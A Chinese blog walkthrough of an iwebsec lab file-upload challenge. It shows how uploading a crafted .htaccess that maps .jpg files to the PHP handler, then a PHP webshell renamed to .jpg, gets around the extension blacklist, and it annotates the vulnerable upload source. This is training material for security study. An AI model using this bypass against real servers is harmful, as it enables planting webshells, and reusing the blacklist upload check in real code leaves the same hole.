iwebsec-文件上传 05 .htaccess

发布时间 2023-08-19 15:32:32作者: 别打扰我摸鱼

01、题目分析

image

正常来讲应该先判断文件上传过滤是前端验证还是后端验证,但是这个地方因为是靶场,所以直接告诉你了是什么类型,因此就不用进行判断了,这里是.htaccess文件绕过,htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,因此我们可以通过修改这个文件内容来实现改变文件拓展名功能

02、文件上传

我们先在主机上新建一个文件,写入以下内容:

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

然后保存,命名为.htaccess,然后上传,再然后把1.php的一句话木马改名为1.jpg,然后上传即可得到webshell

image

03、源码分析

<?php
        header("Content-type: text/html;charset=utf-8"); // 设置响应头的内容类型和字符集为 UTF-8
        error_reporting(0); // 关闭所有错误和警告的显示
        // 设置上传目录
        define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); // 定义上传文件的存储目录
        define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); // 定义上传文件的访问 URL
        if (!file_exists(UPLOAD_PATH)) {
            mkdir(UPLOAD_PATH, 0755); // 如果上传目录不存在,则创建它,并设置权限为 0755
        }
        $is_upload = false; // 初始化变量,用于表示文件是否上传成功
        if (!empty($_POST['submit'])) { // 检查是否提交了名为 'submit' 的表单字段
            $name = basename($_FILES['file']['name']); // 获取上传文件的原始文件名,并使用 basename 函数去除路径信息
            $ext = pathinfo($name)['extension']; // 使用 pathinfo 函数获取上传文件的扩展名
            $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf"); // 定义不允许上传的文件扩展名列表
            if (!in_array($ext, $blacklist)) { // 检查上传文件的扩展名是否在黑名单中
                if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { // 将上传的临时文件移动到指定的上传目录
                    $is_upload = true; // 文件上传成功
                } else {
                    echo "<script>error();</script>"; // 文件移动失败,输出错误提示
                }
            } else {
                echo "<script>black();</script>"; // 文件扩展名在黑名单中,输出黑名单提示
            }
        }
    ?>